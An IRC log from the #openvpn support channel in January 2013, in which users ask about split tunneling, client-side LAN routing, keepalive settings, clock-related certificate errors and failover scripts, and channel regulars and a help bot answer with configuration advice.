16:04 -!- c3vin [~c3vin@70.62.198.163] has quit [Ping timeout: 240 seconds]
16:13 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
16:15 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:16 < wykydtron> I am trying to setup split tunneling, I am not familar with setting up the server side route. How would I set it up so the client can seen the VPN server samba folders?
16:17 < wykydtron> I commented out push "redirect-gateway def1" in server.conf and clientside i added: route [serverip] 255.255.255.0 vpn_gateway
16:25 -!- dazo is now known as dazo_afk
16:33 < pekster> wykydtron: Are you trying to expose a LAN network behind the server, or just the virutal VPN subnet itself?
16:46 < rob0> "Samba folders" is a red herring. If the IP routing works, Samba can work with IP addresses. If WINS and nmbd(8) work, Samba can also work with names. #samba is down the hall if you're stuck on that.
16:48 -!- jthunder [~jthunder@70.28.245.121] has quit [Quit: jthunder]
16:55 < wykydtron> pekster just virtual vpn subnet. Samba is setup fine, just not sure how to properly setup split tunnel
16:56 < pekster> What do you need a split tunnel for if you already have routing working for a unique virtual VPN network? Sounds like you're all done
16:58 -!- troyt [~troyt@2001:1938:240:3000::3] has quit [Remote host closed the connection]
16:59 < rob0> If you can ping through the tunnel, openvpn is fine.
17:01 < wykydtron> Maybe I'm approaching this the wrong way.
17:02 < wykydtron> If I have full OpenVPN setup on the server with samba setup, the client can see the folders. However, I do not what the client routing all internet traffic to VPN. I only want the client to see the servers shared folders through the VPN.
17:07 < pekster> OpenVPN is a routing and encryption protocol, not a file-sharing protocol. THat's like saying that you need to buy a green network cable or you can't connect to the PC on your co-worker's desk: they're unrelated things. You can use discovery protocols (WINS, DNS, DFS, etc) across a VPN just like you can send a ping across any color Ethernet cable
17:07 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 245 seconds]
17:07 -!- Porkepix [~Porkepix@host239-185-dynamic.31-79-r.retail.telecomitalia.it] has quit [Quit: Computer has gone to sleep.]
17:08 < rob0> If you don't want --redirect-gateway, why is it in your config?
17:08 < rob0> oh. "I commented out push "redirect-gateway def1" in server.conf ..."
17:09 < rob0> so what's wrong now?
17:09 < rob0> "split tunnel" means what?
17:10 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
17:11 < wykydtron> rob0: instead of using redirect-gateway paremeter, i thought to use the route directive, specifying net_gateway or vpn_gateway perhaps I misunderstood how these work.
17:11 <@krzee> wykydtron, a vpn is like an ethernet cable, you dont have to do more than a point to point link, but you CAN choose to route a lan or the entire internet (or anything between) over it
17:11 <@krzee> do you need to access a lan over the vpn?  or just something on the vpn server?
17:12 -!- troyt [~troyt@2001:1938:240:3000::3] has joined #openvpn
17:13 < wykydtron> krzee: I would say lan, I'd like to have my workstation and laptop map a network drive.
17:13 <@krzee> 2 machines on the client side, but only the server itself on the server side?
17:13 < wykydtron> I have a script monitoring file changes to these specific files I want to access, before someone suggested simply Dropbox but that does not work for my specific application
17:14 < wykydtron> krzee yes sir
17:14 <@krzee> !sample
17:14 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
17:14 <@krzee> !clientlan
17:14 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
17:14 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
17:14 <@krzee> done.
17:15 <@krzee> you dont need to push any routes to the client
17:15 <@krzee> unless you want other clients to access this clients lan as well
17:16 <@krzee> bbl, back to work
17:16 < wykydtron> krzee: thank you. Nope, only want clients to the server :] I will look this over.
17:16 <@krzee> yw
17:20 -!- brute11k1 [~brute11k@89.249.231.124] has quit [Quit: Leaving.]
17:21 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
17:24 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Ping timeout: 276 seconds]
17:30 -!- rocco1 [~rocco@2001:4dd0:fd53:101:1d09:eea4:2a2:3f7] has quit [Ping timeout: 245 seconds]
17:47 -!- troyt [~troyt@2001:1938:240:3000::3] has quit [Read error: Connection reset by peer]
17:56 -!- Changos [~Changos@unaffiliated/changos] has joined #openvpn
17:56 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
17:56 < Changos> Hello guys
17:57 < Changos> I have a OpenBSD server with OpenVPN, and I'll like connect this with clients on Cisco Linksys RV042, is this possible ?
17:58 < Changos> the type connection is point to point
18:01 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:03 < pekster> Changos: OpenWRT and similar projects are able to run openvpn, as long as the hardware supports the requirements for the embedded distribution and has enough flash memory and RAM (8M flash and 32M RAM is a good minimum to shoot for. I've done openwrt+openvpn with less before, but it's not fun)
18:05 -!- b1rkh0ff [~b1rkh0ff@31.176.147.137] has quit [Read error: Connection reset by peer]
18:15 < Changos> pekster: cool, long time I hear about OpenWRT, but I don't know it OpenWRT. I need get Firewall, web filter, load balancing, dhcp server, NAT, and VPN on same device
18:19 -!- rocco [~rocco@ip-109-90-212-13.unitymediagroup.de] has joined #openvpn
18:26 < sam1> wndr3800 is pretty neat with openwrt
18:27 -!- PryMar56 [~prymar@cpe-98-149-139-90.socal.res.rr.com] has quit [Ping timeout: 245 seconds]
18:33 -!- rocco [~rocco@ip-109-90-212-13.unitymediagroup.de] has left #openvpn []
18:42 < Azrael_-> if a vpn-connection fails (e.g. routing temporarily down), does openvpn try to reestablish the connection? how often is it tried? how long does it wait between the tries?
18:42 -!- troyt [~troyt@2001:1938:240:3000::3] has joined #openvpn
18:49 < pekster> Azrael_-: See the --keepalive option and the related raw directives --ping, --ping-restart, and --ping-exit
18:50 <@krzee> !keepalive
18:50 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
18:53 < pekster> Always taking the easy way :P
18:54 < Changos> I got it ! :D, I'll use mikrotik device, this can use with OpenVPN :P
18:57 <@krzee> whoa, you're the second person this week to mention that device
19:00 -!- c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has joined #openvpn
19:09 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
19:19 -!- u0m3 [~Radu@92.80.109.202] has quit [Quit: Leaving]
19:27 -!- Changos [~Changos@unaffiliated/changos] has quit [Remote host closed the connection]
19:30 -!- adolfomaltez [~taro@190.62.205.158] has joined #openvpn
19:31 -!- mufasa27 [~mufasa@unaffiliated/mufasa27] has joined #openvpn
19:32 < mufasa27> How can I tunnel openvpn to only work with individual terminal shells? As in: use a terminal shell through vpn while still keeping other applications (web browsing) confined to local network?
19:34 -!- u0m3 [~Radu@92.80.109.202] has joined #openvpn
19:34 < pekster> mufasa27: OpenVPN creates a tun or tap adapter. Unless you change your routing, that shouldn't have an impact on applications that don't use a route created when you establish a new connection
19:35 < mufasa27> pekster: hey! thanks for the help earlier this morning! got everything up and running. :)
19:36 < mufasa27> pekster: so I should already have the applications running through eth0 that need to be accessing eth0; before I create tun0? then anything after that will use tun0?
19:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
19:37 < pekster> mufasa27: It doesn't matter if you connect things before or after. Simply creating a new network won't "hijack" your other traffic, *unless* you've specifically told OpenVPN to route networks (or the whole Internet) through your VPN connection
19:37 -!- mode/#openvpn [+v pekster] by ChanServ
19:37 < mufasa27> pekster: How would I check if that is the case or not?
19:38 <+pekster> Look at your logs or your routing table?
19:38 < mufasa27> I don't have a routing table currently
19:38 <+pekster> OpenVPN is worthless on a system without networking. If you have networking support, you have a routing table
19:38 <+pekster> !101
19:38 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
19:39 <+pekster> Maybe you want a more beginner's guide to how tcp/ip works?
19:39 <+pekster> !tcpip
19:39 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
19:40 < mufasa27> ok, thank you.
19:40 <+pekster> OpenVPN isn't really going to be useful if you don't have a pretty good handling on concepts like routes, gateways, and CIDR/netmask notation
19:40 < mufasa27> Using it to develop at work from home. Don't know hardly anything about networking. Sorry for offtopic questions
19:42 <+pekster> We focus on using and configuring openvpn, and less on 'how routing works' here. OpenVPN can pass hosts, networks (like your work network range) or even "all of the Internet" through the tunnel. I don't know how your setup is since I haven't seen it. You'd need to look at your logs and routing table to know
19:43 <+pekster> 'ip route show' will likely provide you clues how this is set up. Some basic guides online can guide you throgh understanding what that output means if that's an issue
19:43 < mufasa27> pekster: thank you. And thank you for the help earlier on setting up my vpn
19:44 <+pekster> Yea, I'm not sure if it's a systemic issues with poor systemd support, or perhaps more likely something not well with your setup. I don't see the benefit of using a series of userland tools for the task of entering a password :\
19:46 -!- adolfomaltez [~taro@190.62.205.158] has quit [Ping timeout: 272 seconds]
19:46 < mufasa27> pekster: haha yeah true. I had to downgrade to an older version of openvpn instead of version 2.3 I had to use 2.2.2 in order for it to work correctly with systemd. rc.d just worked before and now everything had to change.
19:47 -!- adolfomaltez [~taro@190.62.246.31] has joined #openvpn
19:52 -!- mete [~mete@84.200.83.33] has quit [Ping timeout: 248 seconds]
19:54 -!- mete [~mete@mete.shell.la] has joined #openvpn
20:07 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
20:07 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
20:07 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
20:07 -!- mode/#openvpn [+o krzee] by ChanServ
20:07 -!- mufasa27 [~mufasa@unaffiliated/mufasa27] has left #openvpn []
21:30 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 272 seconds]
21:31 -!- baobei [~baobei@180.155.14.35] has joined #openvpn
21:31 < baobei> hey
21:31 < baobei> getting strange error in log
21:31 < baobei> http://pastebin.ca/2308821
21:32 < baobei> basically get that over and over in a loop
21:32 -!- mete [~mete@mete.shell.la] has joined #openvpn
21:32 < baobei> it was working fine yesterday didnt touch anything
21:32 <+pekster> Line 4
21:32 <@krzee> ntpdate time.nist.gov
21:33 < rob0> I'd use CC.pool.ntp.org, FWIW
21:33 < rob0> (where CC is your country code)
21:33 <@krzee> i only know 2 by heart
21:33 <@krzee> ill try to remember that tho
21:34 < rob0> Fri Jun 08 :)
21:34 <+pekster> Just wait 7 months :P
21:35 < baobei> just can't see any reason why i'd get that error when i didn't change anything
21:35 < rob0> oh crap. My CA is expiring in a bit over a month.
21:35 <@krzee> doh!
21:35 < baobei> rob0, lol was it at the default 3500 days?
21:35 < rob0> I think I made it for 5 years.
21:36 < rob0> next one will be ten. Then I will be certain to forget everything I knew!
21:36 < baobei> probably openvpn wasn't even around 10 years ago
21:37 < rob0> Initial release 1.1.0 / April 10, 2002
21:37 < baobei> wow even back then
21:37 <@krzee> ovpn1 didnt use pki tho ;]
21:37 < rob0> I was using it back in '04, but not using servers until much later.
21:38 < baobei> back then i was like 6 or 7
21:42 < baobei> im thinkin it might be a bug
21:42 < baobei> my certs are all valid
21:49 < rob0> um, "Fri Jun 08" is the date in your logs. What timezone is UTC-7months? :)
21:50 < rob0> I'm thinking it's exactly as krzee and pekster pointed out: your system clock is wrong!
21:50 < baobei> takes 7 months for the light to reach earth from the planet i live
21:50 < rob0> ah, cool
21:51 < rob0> So 6 or 7 of your planet's years are what, 35-40 Earth years?
21:54 -!- baobei_ [~baobei@192.73.252.248] has joined #openvpn
21:54 -!- baobei [~baobei@180.155.14.35] has quit [Read error: Connection reset by peer]
21:54 < baobei_> yes
21:54 < baobei_> changing time fixed it
21:54 < baobei_> but weirdly wiindows aero stopped working and won't come back lol
21:57 -!- c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has quit [Ping timeout: 240 seconds]
21:59 -!- MeanderingCode_ [~Meanderin@71.213.164.111] has joined #openvpn
22:01 -!- baobei_ [~baobei@192.73.252.248] has quit [Ping timeout: 276 seconds]
22:02 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 252 seconds]
22:04 -!- colo-work [~jt@78.142.138.4] has quit [Ping timeout: 248 seconds]
22:05 -!- colo-work [~jt@78.142.138.4] has joined #openvpn
22:06 -!- colo-work [~jt@78.142.138.4] has quit [Excess Flood]
22:07 -!- cosmicgate [~root@108.166.200.61] has joined #openvpn
22:07 -!- colo-work [~jt@78.142.138.4] has joined #openvpn
22:31 -!- fling [~fling@fsf/member/fling] has left #openvpn []
23:32 < EugeneKay> That's windows.
23:40 -!- MeanderingCode_ [~Meanderin@71.213.164.111] has quit [Remote host closed the connection]
23:43 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
23:57 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Read error: Connection reset by peer]
--- Day changed Wed Jan 30 2013
00:09 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 245 seconds]
00:10 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has quit [Ping timeout: 245 seconds]
00:15 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
00:20 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 252 seconds]
00:35 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
00:43 -!- adolfomaltez [~taro@190.62.246.31] has quit [Ping timeout: 276 seconds]
00:43 -!- adolfomaltez [~taro@190.62.223.6] has joined #openvpn
00:49 -!- Devastator- is now known as Devastator
00:51 -!- adolfomaltez [~taro@190.62.223.6] has quit [Ping timeout: 272 seconds]
00:51 -!- adolfomaltez [~taro@190.62.253.3] has joined #openvpn
00:57 -!- Porkepix [~Porkepix@host239-185-dynamic.31-79-r.retail.telecomitalia.it] has joined #openvpn
01:08 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
01:30 -!- master_of_master [~master_of@p57B545F7.dip.t-dialin.net] has quit [Ping timeout: 244 seconds]
01:31 -!- master_of_master [~master_of@p57B54CF7.dip.t-dialin.net] has joined #openvpn
01:37 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 264 seconds]
01:44 -!- u0m3_ [~Radu@92.80.97.231] has joined #openvpn
01:47 -!- u0m3 [~Radu@92.80.109.202] has quit [Ping timeout: 272 seconds]
01:51 -!- ade_b [~Ade@37.250.188.230.bredband.tre.se] has joined #openvpn
01:51 -!- ade_b [~Ade@37.250.188.230.bredband.tre.se] has quit [Changing host]
01:51 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:01 -!- voxadam [~voxadam@76.14.255.37] has joined #openvpn
02:02 < voxadam> I just started reading about OpenVPN and I was wondering why Blowfish is chosen as the default cipher over AES.
02:02 -!- Azrael808 [~peter@212.161.9.162] has joined #openvpn
02:03 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
02:06 < cosmicgate> because we love fish
02:09 < voxadam> Well, AES is Twofish so wouldn't that make AES a better choice?
02:09 -!- jherek [~jherek@154.51.136.41] has joined #openvpn
02:09 -!- csaba [~csaba@195.199.154.25] has quit [Quit: Távozom]
02:09 < jherek> Hi there... I have a problem running openvpngui, it crashes when I try to connect to my vpn service... It is strange, as yesterday it worked flawlessly...
02:10 -!- adolfomaltez [~taro@190.62.253.3] has quit [Remote host closed the connection]
02:10 -!- brute11k [~brute11k@89.249.235.65] has joined #openvpn
02:15 < ||arifaX> I have a server 2.0.9-4etch1 with a config where clients do not need a certificate (we use OTP and I am aware of the security problems). I have a client 2.1_rc20 i686-pc-mingw32 [SSL] [LZO2] [PKCS11], it does not work with our previous config (working with older client), any ideas or help?
02:15 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 264 seconds]
02:16 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
02:19 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
02:20 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
02:24 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:25 -!- jherek [~jherek@154.51.136.41] has quit [Quit: leaving]
02:47 -!- cosmicgate-- [~root@113.210.101.118] has joined #openvpn
02:47 -!- cosmicgate-- [~root@113.210.101.118] has quit [Client Quit]
02:48 -!- cosmicgate [~root@108.166.200.61] has quit [Ping timeout: 240 seconds]
02:57 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
03:05 -!- brute11k1 [~brute11k@89.249.235.234] has joined #openvpn
03:05 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
03:07 -!- brute11k [~brute11k@89.249.235.65] has quit [Ping timeout: 248 seconds]
03:11 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
03:22 -!- brute11k1 [~brute11k@89.249.235.234] has quit [Ping timeout: 256 seconds]
03:23 -!- brute11k [~brute11k@89.249.230.56] has joined #openvpn
03:24 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:39 -!- voxadam [~voxadam@76.14.255.37] has quit []
03:55 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
04:02 -!- mndo [~mndo@bl17-71-84.dsl.telepac.pt] has joined #openvpn
04:03 -!- dazo_afk is now known as dazo
04:10 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has quit [Ping timeout: 252 seconds]
04:13 -!- zz_AsadH is now known as AsadH
04:14 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has joined #openvpn
04:21 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
04:21 -!- mode/#openvpn [+o plaisthos] by ChanServ
04:35 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
04:36 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
04:44 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
04:44 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Read error: Connection reset by peer]
04:50 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
04:50 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
04:59 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 255 seconds]
05:00 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
05:01 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Read error: Connection reset by peer]
05:14 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
05:19 -!- bigmeow [~mirror@184.82.217.174] has quit [Read error: Connection reset by peer]
05:30 -!- brute11k1 [~brute11k@89.249.231.243] has joined #openvpn
05:32 -!- brute11k [~brute11k@89.249.230.56] has quit [Ping timeout: 276 seconds]
05:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
05:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
05:51 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
05:51 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Read error: Connection reset by peer]
05:55 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
06:11 -!- c3vin [~c3vin@70.62.198.163] has joined #openvpn
06:11 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
06:12 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:25 -!- Porkepix [~Porkepix@host239-185-dynamic.31-79-r.retail.telecomitalia.it] has quit [Quit: Computer has gone to sleep.]
06:33 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
06:33 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Client Quit]
06:33 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
06:33 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Client Quit]
06:34 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
06:56 -!- cpm [~Chip@pdpc/supporter/active/cpm] has joined #openvpn
06:59 -!- u0m3 [~Radu@109.96.166.88] has joined #openvpn
07:00 -!- u0m3_ [~Radu@92.80.97.231] has quit [Ping timeout: 255 seconds]
07:02 < stephan48> hi i am currently using iroue(ccd file) and route(openvpn serverconfig file), to make a subnet behind the client accessible, is it possible to add routes(route commands) for client subnets without restarting the openvpn server(as done in the main config) on the fly?  i would rather not do that when a bunch of clients is connected
07:04 < SpookZA> ccd files are read upon client connect - so if you kill the client, they will re-connect after 120 seconds (default) and the new values in the ccd will be published to them ... as far as I know, routes in the main config need a restart - ymmv, I am just a user :)
07:11 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Quit: Sto andando via]
07:16 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
07:18 -!- bauruine [~stefan@91.236.116.112] has quit [Remote host closed the connection]
07:24 -!- cpm [~Chip@pdpc/supporter/active/cpm] has quit [Quit: cpm]
07:33 < stephan48> SpookZA: jap that was my q, if theres a way around the restart
07:34 <@dazo> stephan48: add what's needed into the ccd ... and put the other routes in the normal config ... and then to avoid restarting openvpn (if only routing changes) ... set up the routes manually with 'route' or 'ip route'
07:34 < stephan48> ah ok
07:35 <@dazo> openvpn reads the --route statements and execute a 'route' or 'ip route' command for each of these config lines
07:35 < stephan48> thanks for the help!
07:35 < stephan48> good to know
07:38 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
07:56 -!- defswork [~andy@141.0.50.105] has joined #openvpn
08:20 -!- niervol [~krystian@193.106.244.150] has quit [Ping timeout: 272 seconds]
08:28 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
08:39 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Quit: ZNC - http://znc.in]
08:40 -!- Shadowized [~Shadowize@st0p.trying.to.trac3.me] has quit [Ping timeout: 248 seconds]
08:43 -!- Shadowized [~Shadowize@st0p.trying.to.trac3.me] has joined #openvpn
08:45 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
08:53 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
09:00 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
09:02 -!- c3vin [~c3vin@70.62.198.163] has quit [Ping timeout: 240 seconds]
09:06 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
09:07 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 255 seconds]
09:12 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
09:16 -!- u0m3 [~Radu@109.96.166.88] has quit [Read error: Operation timed out]
09:17 -!- u0m3 [~Radu@92.80.121.78] has joined #openvpn
09:17 -!- brute11k1 [~brute11k@89.249.231.243] has quit [Ping timeout: 245 seconds]
09:20 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:20 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
09:23 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
09:28 -!- Shadowized [~Shadowize@st0p.trying.to.trac3.me] has quit [Ping timeout: 264 seconds]
09:30 -!- Shadowized [~Shadowize@st0p.trying.to.trac3.me] has joined #openvpn
09:43 -!- brute11k [~brute11k@89.249.230.219] has joined #openvpn
10:04 -!- Shadowized [~Shadowize@st0p.trying.to.trac3.me] has quit [Ping timeout: 264 seconds]
10:04 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 255 seconds]
10:06 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 264 seconds]
10:06 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 272 seconds]
10:09 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
10:09 -!- Shadowized [~Shadowize@st0p.trying.to.trac3.me] has joined #openvpn
10:09 -!- mete [~mete@mete.shell.la] has joined #openvpn
10:14 -!- brute11k [~brute11k@89.249.230.219] has quit [Ping timeout: 255 seconds]
10:19 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:22 -!- c3vin [~c3vin@70.62.198.163] has joined #openvpn
10:24 -!- AsadH is now known as zz_AsadH
10:29 -!- sauce_ is now known as sauce
10:29 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has quit [Changing host]
10:29 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
10:31 -!- brute11k [~brute11k@89.249.230.219] has joined #openvpn
10:39 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
10:49 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Read error: Connection reset by peer]
10:49 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
10:53 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
11:09 -!- zz_AsadH is now known as AsadH
11:10 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 255 seconds]
11:12 -!- Orbi [~opera@anon-185-20.vpn.ipredator.se] has joined #openvpn
11:16 -!- Winston_Smith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
11:17 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 256 seconds]
11:18 -!- Winston_Smith is now known as WinstonSmith
11:18 -!- ade_b [~Ade@kista.guest.accome.com] has joined #openvpn
11:18 -!- ade_b [~Ade@kista.guest.accome.com] has quit [Changing host]
11:18 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
11:19 -!- Porkepix [~Porkepix@157.138.191.181] has joined #openvpn
11:19 -!- JoeyJoeJo [~brian@pool-173-72-191-174.clppva.fios.verizon.net] has joined #openvpn
11:19 -!- Porkepix [~Porkepix@157.138.191.181] has quit [Client Quit]
11:20 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
11:21 -!- bwallen [~brian@pool-173-72-191-174.clppva.fios.verizon.net] has joined #openvpn
11:22 < bwallen> I have two openvpn servers. One is just a backup in case the first one goes down and each client has both IP addresses in their config files. The clients are always connected. I want to know if for some reason a client failed to connect to the primary server on ping restart and connected to the secondary. Can I do that via an up script?
11:23 -!- JoeyJoeJo [~brian@pool-173-72-191-174.clppva.fios.verizon.net] has left #openvpn []
11:26 < dioz> what?
11:27 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
11:28 < bwallen> I want to be notified if a client connects to my backup openvpn server rather than the primary
11:28 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
11:28 < bwallen> I can write a script to do that, I just don't know if specifying my script as an "up" script in the client's config will execute it on ping-restart
11:29 < bwallen> I had an incident where my primary openvpn server was up, but on ping-restart a client timed out when trying to reconnect so it automatically connected to the secondary server
11:30 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
11:32 -!- afuentes [~afuentes@213.37.131.197.static.user.ono.com] has quit [Ping timeout: 252 seconds]
11:32 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Quit: ZNC - http://znc.in]
11:33 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Read error: Operation timed out]
11:35 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
11:37 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
11:37 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
11:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
11:37 -!- mode/#openvpn [+o krzee] by ChanServ
11:39 -!- toky [~toky@wsip-174-77-152-130.dc.dc.cox.net] has joined #openvpn
11:40 -!- Orbi [~opera@anon-185-20.vpn.ipredator.se] has left #openvpn []
11:42 -!- Orbi [~opera@anon-185-20.vpn.ipredator.se] has joined #openvpn
11:46 <@dazo> bwallen: there's no script-hook if the connection fails ... if that's what you ask about .... anyhow, --up might be too early for your .... you might need --route-up
11:47 <@dazo> (--up is run before a connection is attempted)
11:47 < bwallen> Ah, I didn't know about route-up. Thanks
11:48  * dazo just looked at the man page
11:48 <@dazo> seems you can use --up ... but you need to play with --up-delay and --up-restart too then probably
11:54 -!- Porkepix [~Porkepix@host239-185-dynamic.31-79-r.retail.telecomitalia.it] has joined #openvpn
11:59 -!- AsadH is now known as zz_AsadH
12:00 -!- jthunder [~jthunder@70.28.245.44] has joined #openvpn
